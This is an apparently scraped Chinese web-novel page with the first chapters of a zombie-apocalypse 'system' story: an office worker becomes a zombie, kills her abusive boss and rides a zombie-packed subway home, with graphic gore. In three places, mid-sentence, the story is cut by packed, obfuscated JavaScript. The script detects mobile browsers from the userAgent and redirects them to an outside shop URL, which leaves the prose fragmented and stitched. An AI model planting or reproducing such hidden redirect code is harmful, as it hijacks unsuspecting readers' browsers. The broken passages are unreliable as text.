《丧丧咬人系统[末世]》 1. 咦？我是丧尸 “牧遥！” 尖锐又难听的声音，伴随着腥臭的气息扑面而来，是嗅觉和听觉上的双重暴击。 “你说说看，哪有你这么做事情的？！” 牧遥低着头，木然地掀起脸皮瞥了面前的男性一眼，没有吭声。 三十多岁，长相还算端正，只是眼尾炸开的皱纹和微微三白的眼睛，给他的面相增添了一些戾气。 就是俗称容易出轨、家暴的男性长相。 这是她的直系领导。 现在这位领导用力拍打着桌子质问着她，口水飞溅，情绪激动得不像是成年人该有的样子。 牧遥的思绪已经飘远。 她今天干了什么伤天害理的事情，才被领导抓进会议室单独责骂？ 让她想想。 牧遥两眼涣散。 是她每日上班不迟到，不早退让他不爽了？还是她按时且准确地完成工作，没有犯错让他不高兴了？ 无法理解。 牧遥缓缓眨眼。 不知怎的，今天的眼皮格外沉重，她一闭上就不大想睁开了。似乎眨眼这个动作对她来说都十分困难。 “牧遥？？！！” “你有没有在听我说话！？” 领导的声音骤然提高，像是被捏住脖子的尖叫鸡，发出了尖锐高亢的鸣叫，又像是吹响了什么胜利的号角。 口水溅到脸上了，好脏。 牧遥伸出手擦掉了口水，面无表情地抬头看面前的领导。 她的脖子发出嘎达嘎达的响声，好像卡顿的机器人。 她一直不理解领导的情绪为什么一直都这么激动，明明是无关紧要的事情，却会搞得像是世界今天就要毁灭了一样。 牧遥看着领导逐步逼近的身影，明显已经超越正常人的社交距离。她这才后知后觉地反应过来领导生气的原因。 因为她回答他的问题的时候，反应慢了半拍。 只是没有很快地接下工作并且大声地回复：“好的领导，没问题的领导。” 就以此为由头被抓进来狠狠地臭骂。 真没有意思。 牧遥没有感情起伏地想着。 面前的领导已经近在咫尺，他甚至伸出了一根手指头，直直就冲她指来，距离她的脸很近。 真的很近，可以一口咬上去。 很没有礼貌。 干脆咬上去好了。 这么想着，有一股原始的冲动，瞬间蒙蔽了牧遥的神经，又有可能这是顺从内心的想法。 ——于是，她张嘴咬住了领导的手指。 “噗叽。” 牙齿咬进血肉中的声音。 “嘎吱。” 是手指骨头断裂的声音。 在她的牙齿之下，骨头宛若一块苏打饼干，轻松就被咬碎。 · · 牧遥其实是个很淡漠的人。 是字面意义上的淡漠。 从小到大就没有什么能让她情绪剧烈波动的事情。 淡淡的生气，淡淡的开心，淡淡的伤心。 一直以来的平稳情绪，或者说压根没有什么情绪，在心理学上针对她这种情况称为“情感缺失症”。 认为这是一种由社会性因素引发的心理障碍，并非疾病，而是一种长期的生活状态。 产生的原因，牧遥并不知道，她又不是心理学家。 她也并不想知道。 书面上给出的观点认为，这是成长时期家庭问题或社会问题导致的安全感匮乏。 年幼的牧遥坐在母父的灵堂里，端着心理学书籍，冷眼看着面前的亲戚为了家产吵得不可开交。 背后靠着冰冷的棺材，眼前还热腾的□□却为了一些物质彻底拉下脸面，像是一场荒诞的闹剧。 人类真的很没有意思。 年仅八岁的牧遥这么想着。 戏剧总会落幕，闹剧结束后要重返现实。 作为现实的组成部分，牧遥如同一个烫手山芋被亲戚们弹来弹去，生怕手中多留一会儿就会沾染上温度。 最后是舅舅家捏着鼻子接下了她。 在舅舅家里，无论做什么都会被嫌弃，牧遥也只是默默地生存下去。 活着就行。 这是她的人生指标。 所以哪怕被领导打压针对很久，她都一直默默地忍耐，她发自内心觉得无所谓，和这种人生气真没必要。 但是今天看着面前的手指头，像是脑袋里有一根弦突然断了一样。 “咔嚓。” 很清脆的一声。 “要不咬一口试试吧。” 奇怪的念头出现在了她的脑海里，并且让她非常心动。 于是她就真的咬上去了。 确实很清脆的一声。 人手比她想象的还要脆弱一些。 “啊！！！！你在做什么！！！！” 领导发出了剧烈的尖叫声，他想要抽出手指头，却发现牧遥的力气超出他的想象。 他动弹不得。 领导被疼痛折磨到扭曲的脸狠狠盯着牧遥，他剧烈抖着双唇，眼中光芒一闪，却猛地伸出另一只健在的手狠狠捏上了牧遥的脸。 说实话，他想这样干很久了。 平时只是趁着递资料摸一下牧遥的手，或是路过时拍拍她的肩膀和腰。 牧遥长得俏丽，皮肤雪白光滑，想也知道摸上去手感有多好。 但真的捏上去后，却不是领导想象中的细腻滑嫩的手感。 而是坚硬的、冰冷的。 这是人该有的皮肤质感吗？ 他在剧痛中艰难思考，眼神恍惚间终于看清了牧遥的脸。 那是一张泛着青色的脸，他的手猛地一顿。 “噗呲……“ 鲜血溅出，疼痛瞬间加剧。 “啊啊啊啊啊啊啊啊啊啊——“ 他再次惨叫，疼痛让他的眼里布满了红血丝，手反而失去了被禁锢的感觉。 牧遥“呸”地一声，吐出了嘴里的手指头。 手指头轻巧地落下，发出“啪嗒”的一声脆响。 疼痛模糊了领导的感知，他先是缓缓低头，看到了桌面上掉落的手指头。 再缓缓抬头，意识消失的最后那一刻，眼中最后看到的是牧遥裂开的嘴里露出的獠牙。 沾着鲜血，比起其他的牙齿都格外的长。 那不是人类的牙齿。 “咚！” 领导栽倒在地，发出结实的声响。 · · 前几天开始，牧遥就感觉到自己整个人有点奇怪。 她想了半天，觉得源头或许是从一周前的高烧开始。 在一个平静的日子里，下班后的她正常吃了生命体征维持餐，就在回家洗了个澡后，莫名其妙倒下了。 她是从浴室里爬出来的。 浑身滚烫高热，不用测量都知道是会要人小命的高烧。 牧遥在这个城市也没有朋友，在打120和寻求同事帮助之间，她选择自己爬去医院。 打车到了医院后，医生也查不出病因，只能把病因归结于是身体抵抗力降低造成的不知名病毒入侵。 据说最近这样的人很多。 于是医生见怪不怪，大手一挥，按照前面的案例先给她降温，输了一晚上的液，又开了三天退烧药。 第二天烧退了，依旧浑身无力，提不起精神。 但是能上班。 于是牧遥第二天就坚强去上班了。 身体肌肉的无力感并没有随着温度的下降逐步恢复，反而日益严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699569|189131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重，以至于四肢开始僵硬。 同时她失去了食欲，伴随而来的却是越来越长的獠牙。 睡眠一天比一天少。 不仅仅是简单的失眠，而是入睡迟，醒得早。 更像是……她开始不需要睡眠。 这一点让牧遥很疑惑，正好晚上睡不着觉，她就不停刷手机查自己是不是得了什么绝症。 后面发现每一个绝症都能跟自己对上关系。 牧遥：“……” 军书十二卷，卷卷有奶名。 但仔细看进去，她的种种症状又好像和绝症没有什么关系。 太奇妙了。 她更像是要变异了。 有尖锐獠牙的动物……牧遥只能想到野猪。 可能她要变成野猪精了。 开什么玩笑。 也正是因为这种种原因导致她精神状态很差，脸色越来越青，连瞳孔都开始缩小，眼白浑浊起来。 当然，这跟她被领导抓进办公室挨骂没有直接任何关系。 挨骂是日常，被抓进办公室揩油也是日常。 原因无她，很简单。 这个领导是靠家里的关系得以在这个大企业空降闲职。 工资高，不干事，还有社会地位。 每天就热衷于欺负她们这些年轻漂亮的小姑娘。 所以那一口，牧遥是真的咬。 而且想咬很久了。 能让牧遥平静如同死水的情绪中掀起一丝波澜，这位领导也是很有本事了。 在手指咬到嘴里的时候，她还尝出了一股恶臭。 像是长时间没有清理的下水道，突然打开了井盖后，喷涌而出的似乎已经实体化的刺激性气体。 这人真不讲卫生。 这是牧遥第一个的想法。 想法掠过头脑之后，奇怪的事情发生了。 「嘟嘟嘟~」 一阵轻快的音乐在她的脑海中回荡，牧遥的动作僵住。 咬人还有音效吗？ 这时，她脑袋出现了一个提醒。 「恭喜您！」 鲜亮的幻灯片七彩大字实体化出现在她的脑海里，还散发着阵阵金光，让人一下子误入乡村大舞台。 牧遥缓缓眨眼，确定面前只有躺平的领导，没有实体字体浮在空中。 这个字是直接出现在脑子里的。 很奇怪的感觉。 牧遥眨了眨眼睛，脑海中的幻灯片开始播放，一个辨别不出性别的声音用高昂的语气说着。 「您已成为丧尸！」 「您已顺利绑定【丧丧咬人系统】。」 「您的丧尸病毒超强烈！但是没有关系的宿主，只要您咬足够多的人，就能变回来的哟~诶嘿！」 「我们的系统致力于让丧尸重获人权。」 牧遥：“？” 什么东西？ 丧丧咬人是啥？ 牧遥沉默了。 她看着面前躺在地上的领导，明显已经嘎巴一下断了气。 死得透透的。 这是天大的喜事。 但这是杀人了啊。 不对啊，只是咬了个手指头怎么会死？ 牧遥不理解，她在试图用她淡淡的情绪来理解现在的场面。 【丧丧咬人系统】还在努力播报。 「监测到您已经成功咬了第一个人嗷！」 「太好了宿主，这人可太坏了，真的太坏了，坏的不得了！」 「您这叫什么，叫开业大吉！叫开门红！」 伴随着礼花声响起，牧遥陷入长久的沉默。 先前一周身体上的奇怪现象如幻灯片一般出现在脑子里，再结合脑子里的播报声，她意识到了一点。 看样子，她成为了一只丧尸。 2. 末日来临 「刘志，男，31岁。长得人模狗样还挺受欢迎的哟，实则内里都烂成了碎渣。」 「小学期间欺负女同学，把女同学的头发剪掉，说只是开玩笑。尾随漂亮女同学回家，给女同学带来了剧烈的心理阴影。」 「他还把学习好的男同学书包丢进厕所，殴打其他男生……家长的投诉电话都快打爆班主任和校长的手机，但却因为有强硬的关系没有受到任何惩罚。」 “？” “这么小就这么坏了？”牧遥淡淡地点评道。 由于童年复杂的生活经历，她养成了十分优秀的察言观色能力，并且习惯于接话，不会让人的话落在地上。 在不熟悉的人看来，会觉得她情绪稳定并且情商高。 「嗯哼，那可不！」 得到了牧遥的肯定，丧丧咬人系统吧啦吧啦说得更大声了。 「幼儿园就开始了呢！真的说起来太长了就略过略过。」 「这还是小事情呢。」丧丧咬人系统啧嘴。 「初中，霸凌同学，让女同学抑郁转校2位，男同学转校退学3位。手段比起小学有过之而有不及，依旧没有受到任何处罚。」 「高中，对班上成绩优异的女同学散播黄色谣言，随后强行侵犯多位女同学，造成女同学辍学。」 听到这里，牧遥一怔：“这不是犯法吗？” 「是啊，但又能怎么样呢？」 丧丧咬人系统冷笑一声，语气鄙夷又惆怅。 它和牧遥认知中的系统不大一样，虽然声音没有性别倾向，但语气却像个活人。 反正比她情感丰富得多。 丧丧咬人系统继续说着，语气更加冷硬。 「大学，重复高中的事情，他做起来愈发得心应手。」 「毕竟很有经验呢。」 「因为家里背后的关系够硬，从来没有受到惩罚，导致他行事越发嚣张，一直到今天。」 「如果今天不咬这一口，预计三天内他就会对宿主您下手啊！您咬的可太好了！」 「要我说，您就该多咬两口，往死里咬！」 ……不要，好难吃的。 牧遥心想着，默默拒绝。 「又没让您吃，只是咬一口哇，这可是个大肥猪。」 丧丧咬人系统听到牧遥的心声，没好气地吐槽。 牧遥低头瞥了一眼平平地躺在地上的刘志，回想着刚刚他一条接着一条的罪状，微微歪头，她抬起脚剁在了刘志的家禽部位。 只一脚，那污秽地方就如同一滩烂泥。 保管没办法再祸害任何的女性。 「啪啪啪！」 脑海里是丧丧咬人系统的鼓掌声加欢呼声，像极了英美剧的背景音。 「您咬他获得的丧币奖励足够您保持神志一个月，甚至还能剩余一些用于修复身体破损呢！」 牧遥：“……” 她把僵硬的腿收了回来，说话语气难得波动：“那个……丧币是什么？” 怎么听起来，很像在骂人呢？ 丧丧咬人系统的声音戛然而止，它笑了两声来掩饰自己的尴尬。下一秒，一个弹窗出现在牧遥的脑海里。 上面列出几行文字： 「恭喜丧尸牧遥女士成功激活丧丧咬人系统，简称“丧丧”。本系统通用货币为“丧币”，单位为“SB”。」 ……SB？ 「检测到丧尸主已感染一个人为丧尸，现在为您结算……」 「……结算完毕」 「恶臭评级：C级」 「丧币奖励：500SB」 「达成成就：开嘴第一单，获得神志维持七日的额外奖励」 牧遥一目三行迅速扫过，哑口无言。 太多让她无法理解的内容，一时不知道该从哪里说起。 「哎呀，槽口无言嘛，我知道的啦~」 丧丧咬人系统……不，丧丧轻咳两声，声音正经起来： 「让我来给您解说一下。」 「众所周知，您现在是只丧尸。」 牧遥：“……” 是的，她的确是一只丧尸……吗？ 正想着，地上刘志的身体哆嗦了一下，竟然缓缓爬了起来。 没有衣物遮盖裸露出来的身体部位是不正常的苍白，隐隐泛着青色。眼球中看不到瞳孔的存在，只有灰白。 嘴无意识地开合，滴下几滴发绿的液体。 非常符合各种影视剧里面的丧尸形象。 哦，真的是丧尸。 他的下半身血肉模糊，没有再生的迹象，牧遥松了口气。 保管他没办法祸害女丧尸。 看来丧尸的存在是真的。 牧遥从口袋中缓缓摸出自己的手机，抬手时，胳膊发出“嘎达、嘎达”的声响。 她动作不大熟练地打开前置摄像头，摄像头对准了自己的脸。 脸色比起早上白了三个度，眼睛也变成了苍白，但虹膜还在…… 不对。 牧遥伸手把“虹膜”推开，露出了下方的灰白。 因为她戴了美瞳。 变成丧尸后眼睛应该也不会干涩，美瞳可以一直戴下去了。 挺好，省钱。 目前她的视力还没有受到影响，可以正常视物。等到时间长了会怎么样就不知道了。 牧遥张开嘴。 和四肢的僵硬不一样的是，嘴部肌肉格外灵活。 屏幕中，她看到了自己尖尖的獠牙。 不止如此，舌头抬起，下方嘶啦起来的口水也是绿色。 鼻子抽动一下，嗅不到任何气味。 看来她确实是一只丧尸。 「我又没骗您。」 丧丧嘀咕着。 「丧币就是系统里面的货币，可以用来在商城里兑换需要的道具，您需要保持神志和修复肢体的项目也是在商城里面兑换的。」 「有时会有临时折扣，您可以有空刷一刷。」 牧遥：“……？” 她张开口想要询问，却只发出嘶哑的气音，无法连成清晰的句子。 看来她已经没有办法说话了。 也是，丧尸哪里能说话。 于是牧遥坦然接受了这一点，转而在脑海中问丧丧：“商城从哪里点开？” 她没有发现任何可以操作的地方，现在面前还在轮播刚刚的收获呢。 字体忽大忽小，七彩无比，看得人眼晕。 「个人信息面板和商城功能需要等一下哦，还在加载中。」 牧遥晃晃脑袋，从口袋中摸出口罩给自己戴上，遮掩一下一看就不对劲的脸。 幸好最近生病随身都携带着口罩。 「宿主，好了好了。」 丧丧的声音响起。 「我给您展开面板。」 等了三秒。 无事发生。 牧遥：“面板呢？” 「等等嗷，我刚上手呢，业务不是很熟，很快的。」 「好啦，好啦，您瞅瞅呢！」 丧丧还找了一个放礼花的bgm，在她的脑海里热热闹闹地放了一会儿。 像是某种奇特的剪彩仪式。 面前展开了一个面板，半悬浮在空中，可以伸手触摸，或者是用意念控制。 上面很简洁，只有两页信息。 第一页显示： 「姓名：牧遥」 「成为丧尸天数：1天」 「目前咬人统计：1人」 「神志维持剩余天数：7天」 「现有丧币：500分」 往后翻，第二页显示有两个小图标，和手机屏幕没有什么区别。 两个图标是商城和牢笼。 牧遥：“牢笼是什么？” 「我正准备为您解释呢！」 「“牢笼”是您的特殊能力，可以关押您咬的坏蛋们，您可以设定坏蛋们的行动方式，例如为您工作之类的。」 「但现在才咬第一个人，很多东西都没有解锁，只能先关着，您可以慢慢摸索。」 牧遥嘎啦嘎啦地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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牧遥所在的公司还算个大型企业，一个部门所有的工位都放在一个大厅里，没有什么隐私。 以往的办公室里只有敲击键盘的声音，哪怕有人从旁边路过都不会有人抬头看上一眼。 现在的办公室里人声鼎沸，没有人低头看电脑屏幕，大部分的人都拿着手机查看着消息。 有种强烈的活人感。 上次这样还是放春节假期前。 只有少数人坐在自己的位置上，紧皱着眉手下飞速滑动手机屏幕，还有人焦急地拨打电话。 连落地玻璃上都趴了好几个人，正从高往下看。 “砰！” 剧烈的撞击声从楼下传来，吓得好多人手机都震掉了。 似乎楼下马路上发生什么事情了。 “丧尸？？真的假的？？” “不可能吧？？？” “我家里电话打不通啊？” 有同事窃窃私语着。 “楼下有人躺在那里都是鲜血诶！！” “卧槽那个人都断成两截了怎么还在爬啊？” 窗边的同事们尖叫出声，话语让其他的同事也慌了神。 “啊！！！” 一声剧烈的尖叫响起。 不是谁的手机屏幕外放，也不是在楼下，而就在同事们的身边。 一个平时总是戴着耳机低头安静工作的男生突然站起身，抱住了身边的一名男同事，冲着他的咽喉直接咬了下去。 大动脉被咬破，鲜血如同烟花般炸开，溅射到身边的同事身上。 “吧唧……吧唧……” 在让人牙酸的咀嚼声中，难以置信的同事们伸手摸了摸溅到自己脸上的鲜血，一起再次发出了惨烈的尖叫声。 “跑！跑！！” 慌乱的人推搡着向牧遥涌来，从她身边跑过。 牧遥站在原地，遥遥望向正在享用美食的丧尸同事。 他的眼镜上已被鲜红的血污覆盖，遮住了应该变得灰白的眼睛。头戴式耳机歪倒一旁，被他不小心啃食。 “嘎嘣”一声脆响，伴随着□□软烂的口感搭配起来，似乎像是爽口的小菜。 牧遥悄悄咽了口唾沫。 华国时间2038年8月1日上午11:38，正是吃午饭的时候。 末日来临。 3. 害，先回家吧 生光市是华国最为繁华的国际大都市。 牧遥所在的公司在市中心的高档写字楼中。在写字楼的不远处就有几个热门旅游景区，平时无论是节假日还是工作日，街道上都热闹非凡。 正是如此，现在景色可以称得上是人间炼狱。 马路上，无数的车辆连环撞击，车内的人哪怕被撞到身形扭曲，也能挣扎着爬出，在车辆的缝隙中徘徊。 红色绿色黄色的液体和尘土混杂在一起，伴着随处散落的身体部位，被慌乱的人群反复踩踏。 液体渗入地面之中，分不清来自于哪里。 更有不少车辆失去控制，直直撞向街边的咖啡店。 “嘟！！” “砰！！！” 喇叭声和撞击声接连响起。 鲜血和人体器官飞溅到附近的打卡涂鸦墙上，瞧上去更具有当代艺术的风格。 此时正接近中午，本该是吃午饭的时间。 街道上也还算热闹，只是大快朵颐的不再是人类，而是那毫无理智的丧尸。 这样混乱的场景中，牧遥双手插兜，从一众丧尸边路过，姿态悠闲得像是刚吃饱饭下楼遛弯的大娘大爷。 「宿主宿主！」 牧遥：“……” 牧遥：“我在。” 「您就这么走过去了呀？」 丧丧的声音有点不解，它示意牧遥往一个方向看去： 「那个便利店里还有一些人类躲着，外面被丧尸包围了，您要不要去救救？」 牧遥：“我是丧尸。” 「昂，对啊。」 牧遥：“我怎么救？” 「……」 丧丧沉默。 好像很有道理的样子。 怕不是牧遥一靠近，那些人类就能吓得花容失色。已经变成丧尸的人也没有啃食的必要。 再看看牧遥看似轻松，实际上同手同脚僵硬到不行的行为方式，丧丧哑火彻底闭嘴。 她距离正常人有好长的一段距离。 牧遥也深知这一点。 她刚简单查看了商城的商品信息，保持神志一天需要15丧币，一个月就是450丧币。团购有活动，按月购买打折只要300丧币，按年更划算，只要3299丧币。 知道的是保持神志的团购，不知道的还以为是什么美容院的新客套餐呢。 按照现在的“存款”，牧遥能换1个多月的神志清醒，还不算贵。 但是如果她受伤了就不好说了。 商城里有关于肢体修复的商品价格都在100丧币以上，还只是小伤口。 众所周知，丧尸是没有身体修复能力的。如果不幸被开腹，她也只能用手捞着自己的内脏到处前进。 所以对于被困的人类，牧遥是真心帮不上忙。 要是去救了，被人发现是丧尸。 人类尖叫着：“哎呀！她是丧尸！” 一个榔头下来她就直接嘎了。 说实话，现在的她还真的没有什么生活目标，哪怕直接失去神志变成一只普通的丧尸，牧遥也觉得没有任何问题。 但是丧丧在她耳边哭哭戚戚的，吵得她不行。 为了安宁，牧遥想了半天，决定先回家。 遇事不决，那就回家，回到最初的美好。 生光市的生活成本很高，尤其是房租。 很多钱笑称生光市也可以叫生钱市。 但也得亏于是繁华的大都市，交通十分便利，可怜的打工人们都会选择租住在距离市中心有一段距离的房子，用来回两个小时的通勤换取腰斩的房租。 牧遥也不例外。 就是有一个大问题。 牧遥停下脚步，望向自己小出租屋的方向，内心难免有点惆怅。 两个小时的通勤时间是地铁。 在丧尸病毒爆发，全城停摆的情况下，地铁……还能运行吗？ · · “乘客们……列车马上就要进站了……” 还真在运行！ 牧遥熟练地通过安检，从倒在地上被啃掉脑袋的安检员手中拿起掉落在地的手持安全仪自助安检，然后扫码进站。 她踩着扶梯上躺平的丧尸肉块，顺利下到了地铁口，等待地铁的到来。 身边是徘徊的丧尸，时不时拿着脑袋撞面前碰到的墙壁，发“咚咚咚”的响声。 看起来笨笨的。 这个地铁站是老站了，没有新站那样的落地玻璃门，而是只到人腰部的开放式围栏。 所以有的个高的丧尸走过去，一个不注意就会栽倒下去，然后像只死鱼一样在轨道上啪嗒啪嗒扭动。 牧遥：“……” 就是笨笨的。 她默默后退两步。 远处有灯光亮起，地铁来了。 「不愧是大城市！」 连丧丧都表示震惊。 “人民站到了，开左边门。” “上下车当心缝隙，请注意脚下安全。” 熟悉的播报声响起，列车停下打开了车门。 站台上到处乱逛的丧尸没什么动静。 牧遥站在车头位置，正巧能看到驾驶室里那紧握着操作杆，脸色惨白，嘴在不停颤抖的驾驶员。 还是人类。 在他身后的车辆里，塞满了密密麻麻被挤成罐头的丧尸。 好惨，看样子是下不了车，只能苦着脸继续工作。 面前打开的车门里，丧尸的密度宛若高峰期的地铁。一个叠着一个，头靠在前面人的肩膀上，地上也躺了几个被踩在脚底下，还牟足了劲抬头啃脚。 牧遥：“……” 她用力挤上了地铁，在地铁门关上的那一刻，顺利被挤兑到了玻璃门上。 牧遥：“…………” 丧丧：「…………」 她们的沉默震耳欲聋。 谁能想到，都变成丧尸了，还要挤高峰期的地铁。 牧遥连头都扭不了，她怕自己多动两下，头就会掉下来。 虽然丧丧说除非脑门被捣烂了都不会死，但她也不想捧着自己的脑袋行走。 “这样不行。”开出去30秒，牧遥觉得自己变扁了。 「宿主，这可咋整啊？」 丧丧很慌，它怕上岗第一天，宿主就变成丧尸饼。 变成饼的丧尸系统商城救得回来吗…… 丧丧不敢吭声，默默打开“新手系统就业指南”，查询相关的信息。 牧遥很快就想到了办法。 “列车已到站……” 在地铁到达下一站，一开门的瞬间，牧遥抬起脚把身边的两位叠在一起穿衬衫的丧尸踹了出去。 刚好和站台上的丧尸撞了个满怀。 一脚踹出后牧遥也没有停下，伸手又往外丢出了两只丧尸。 “车门即将关闭……” 地铁开门时间总共也就7、8秒，牧遥也只来得及丢出去四只丧尸。 但好在终于有了能够喘息的空间，起码不用担心自己变成一张丧尸饼。 牧遥悄悄松了口气，活动了下僵硬的四肢。 她抬头看向站点。 租的房子偏远了一些，好处在于不用换乘，可以一条线坐到底。 在丧尸爆发的情况下，公共交通很快就会被迫停止，日后应该也没有恢复的可能性。 她得抓住机会尽快回家。 回家……回家干嘛呢？ 牧遥两眼发直，想不出下一步要做什么。 地铁又到站了。 牧遥随手又推出去几只丧尸，车厢又空了一些。 这几下动作，让她和自己的手臂关系更密切了一些，起码开始听她使唤了。 车门一关，她再度闲了下来，思考人生。 目光无聊扫荡间，她想到了那个瑟瑟发抖的驾驶员。 真可怜。 牧遥在心里感叹着。 她都能猜到那个驾驶员的命运。 车辆会行驶到终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699571|189131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点站，有的会折返往回开，有的车就此停止。驾驶员的性命要么在无尽的奔波中耗干，要么在停止的时候被蚕食殆尽。 怎么想都是一种绝望的情感。 牧遥把自己代入驾驶员的处境里，感觉到的是一片空白。 也是，她已经是丧尸了，哪来的情感。 「您要不要……救救他？」 丧丧弱弱地开口，问牧遥。 牧遥觉得闲着也是闲着，还有一个小时的车程，正好做点事情打发时间。 牧遥：“我怎么救？” 她站在第一节车厢，往身后的车厢望去，望不到尽头密密麻麻全是丧尸。 牧遥：“丧尸干不掉丧尸吧？” 她的獠牙咬咬肉应该还行，咬穿脑子应该是不好办的。 如果从眼眶咬进去呢？ 想到这里，牧遥随手抓过身边徘徊的一个丧尸，抬眼看去。 是个一看就是来旅游的女孩子，胸前挂着拍立得，包包半拉着，能看到里面拍照的小道具。 精心打扮的蓬松头发变得凌乱，伸手摸上去滴下了湿哒哒的血液。 牧遥沉默一下，松开了她，转手拉过一个男性丧尸。 穿着衬衫，背着公文包，一看就是可怜的牛马。 她努力张大了自己的嘴，让獠牙全部露出，对准眼眶狠狠咬下。 “咔！” 牙齿和头骨接触，发出了两声刺耳的声音。 牧遥：“……” 第一次瞄准咬人，没有经验，咬歪了。 更糟心的是，因为失去了对身体的管控，她把握不了张嘴的幅度，于是…… 两道声音中有一道是她下巴脱臼的声音。 牧遥：“…………” 她的沉默震耳欲聋。 牧遥松开了抓住男丧尸的手，把手放在自己的下巴上，试图复原。 「宿主……」 耳边传来了丧丧弱弱的声音。 牧遥的手开始用力。 「那个……你可以用人类打丧尸的方式嘛。」 “咔”的又一声，牧遥把自己的脱臼下巴接歪了，并且看起来不像是她自己能复原的样子。 牧遥：“……” 丧丧：「……」 沉默，是今晚的康桥。 牧遥接受自己丧尸身份太快，只想着用獠牙咬人，没想到还能用传统的殴打方式。 丧丧没敢多说话，它颤巍巍地在牧遥的脑子里打开了商城界面，不知道捣鼓了什么，一个巨大的骰子出现，开始滴溜溜地旋转。 转了三圈后骰子停止，数值赫然是个六。 丧丧：「！！！」 实质性的感叹号遍布整个脑海里，像是眼前挥之不去的飞蚊症斑点。带着无数的烟雾和金光弥散在脑子里，让人恍惚是在天宫。 感觉像是抽到了全场大奖。 一般人可能已经开始兴奋了，但是牧遥不一样。 牧遥：“……有点烦，可以跳过吗？” 丧丧激动的欢呼声戛然而止，它垂头丧气地点击跳过动画，一个道具界面弹出。 「道具名称：无敌宝耙」 「道具价格：惊爆新人特价只要30SB，原价4448SB（划掉）」 「道具说明：这是一把无敌的宝耙，可变大缩小，收进丧尸体中也是轻而易举哟~」 道具说明好像很厉害的样子，价格也是惊爆特价，对于拥有500丧币的牧遥来说，还可以消费。 「宿主，这是随机到的道具哇，新尸都会有一次机会！您的手气好好哇，很多人抽到的大概都是500丧币左右的东西捏！」 丧丧的声音小小却激动万分，一副不赶紧买下就是亏的味道。 牧遥也觉得不错，还能变大缩小，听起来跟齐天大圣的金箍棒是一个水平。 只是这个道具的样子…… 牧遥眼皮一颤，目光落在无敌宝耙的顶端。 这所谓的无敌宝耙，是一把不求人。 4. 做丧尸好烦 地铁在漆黑的通道里哐当哐当飞速移动，丧尸们在地铁上晃动着身躯，头挨着头，两眼空洞没有方向地张望。 玻璃上倒影出一个不一样的身影，她的样子清丽修长，如果不是下半张脸的歪扭，一定是个漂亮姑娘。 此时，这位漂亮姑娘正抬手拿着一个棍状物体垂眸观察。 牧遥只有一个想法。 她怕不是上当了。 不求人，用俗话说，叫做痒痒挠。 也就是说，她花了30丧币来买一把原价4448丧币的痒痒挠。 而如果想要在商城里找到治愈她扭曲的下巴，则需要348丧币。 她现在很怀疑丧丧咬人系统的商城物价有大问题。她摸不清定价的规律，有种随心所欲爱咋咋定的味道。 对于这点，丧丧抵死不认。 「宿主，没事的，你看也不影响您的行动是吧？」 「反正咱都是丧尸了，也没有容貌追求了，凑合着呗？」 牧遥无言以对。 她只能挥了挥手中长约40厘米，拥有一个小耙子顶部的痒痒挠，另一手继续拉过四处晃荡的丧尸小哥，用力从他的眼眶中扎了下去。 “噗叽”一声，无敌宝耙如切入豆腐中一样，轻松没入了丧尸小哥的眼眶中。 鲜红的血混杂着眼球的□□碎渣喷射而出，牧遥艰难侧头避开。 手下的丧尸小哥却像个没事人一样，在牧遥的手下迷茫地张合着嘴。 还活着？ 怎么没起效？丧尸的弱点不都是脑子吗？ 「是脑子哒。」 丧丧也肯定了这一点。 牧遥有点奇怪地凝神观察，这才发现自己刺歪了。 宝耙由她的右手刺入了丧尸小哥的左眼，但因为手部的僵硬，宝耙倾斜靠近耳朵的位置，而不是大脑。 她若有所思，没拔出宝耙，反而顺着动作往上用力搅了搅。 丧尸小哥浑身一颤，像是被拔出电池一般，嘎巴倒地上了。 「宿主已击杀一头初级丧尸，获得丧币奖励3SB」 牧遥：“？” 啥？ 为什么她一个丧尸，击杀丧尸同类还有积分奖励？ 这是鼓励自相残杀吗？ 她到底是哪一边的？ 「宿主，您不用考虑那么多。」 牧遥：“这这也是设定好的吗？” 对此丧丧却咬口不说，只是反复强调： 「反正有丧币，多杀一点呗？」 牧遥也不再追究，反正有丧币，先不考虑那么多了。 她脑子一转，坦然接受这一点，恰好地铁又到站，她随手又把几头丧尸推了出去，也包含了刚刚的丧尸小姑娘。 电梯门再度关上，距离她到站还有十八站。 牧遥看向望不到尽头的地铁车厢，随着转弯扭动，像极了一条大虫。 此刻，里面的丧尸都是她的猎物。 · · “列车已到达终点站……” 地铁乘务员浑身颤抖，不敢移动自己的手。提示音似乎在说他的人生也到达了终点站。 他知道身后的车厢里载了满满一车的丧尸，说不定地铁站接班的同事也如此。 他的死亡近在眼前。 哪怕意识到这一点，他依旧在颤抖。 毕竟……谁想死呢？ 可是如果一直待在驾驶室里面，没有食物没有水，他会死的更快。 “叩叩叩。” 车门突然被敲响了。 有人敲门……等等，哪来的人？ 难道是丧尸已经没有了？国家来救他们了？果然铁饭碗就是好啊！ 乘务员一激动，按下开门按钮，站起身。 车门在面前缓缓打开，他这才开始后悔。 不该这么激动的，如果只是听错了，他就会被丧尸包围吧…… 